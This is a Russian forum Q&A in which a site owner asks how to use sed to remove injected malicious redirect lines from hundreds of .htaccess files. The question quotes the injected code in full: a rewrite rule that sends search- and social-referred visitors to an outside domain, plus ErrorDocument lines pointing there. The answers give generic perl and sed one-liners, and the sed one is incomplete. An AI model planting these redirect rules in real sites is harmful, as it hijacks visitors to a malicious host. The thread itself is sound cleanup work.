Назад | Перейти на главную страницу

удаление вредоносных ссылок из .htaccess с помощью sed

У меня есть пара сотен файлов .htaccess, и я хочу удалить из них малозначительные строки. Сверху у всех есть:

IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|youtube|wikipedia|excite|altavista|msn|aol|goto|infoseek|lycos|search|bing|dogpile|facebook|twitter|live|myspace|linkedin|flickr)\.(.*)
RewriteRule ^(.*)$ http://pasla-ghwoo.ru/rqpgfap?8 [R=301,L]
</IfModule>

и внизу:

ErrorDocument 400 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 401 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 403 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 404 http://pasla-ghwoo.ru/rqpgfap?8
ErrorDocument 500 http://pasla-ghwoo.ru/rqpgfap?8

Я действительно потерялся в части sed, может кто-нибудь мне помочь? :(

У меня пока:

find . -name '.htaccess' -exec sed 'pasla-ghwoo' {} \;

Чем вы хотите его заменить? Я лично предпочитаю этот однострочный Perl:

perl -i.bak -p -e 's/find/replace/ig' .htaccess

Это создает резервные копии измененных файлов и добавляет .bak расширение.

Достаточно ли этого для начала?

Вот аналогичный sed, например, (хотя и не тестировался!):

sed -i 's/find/replace' 

-i на месте."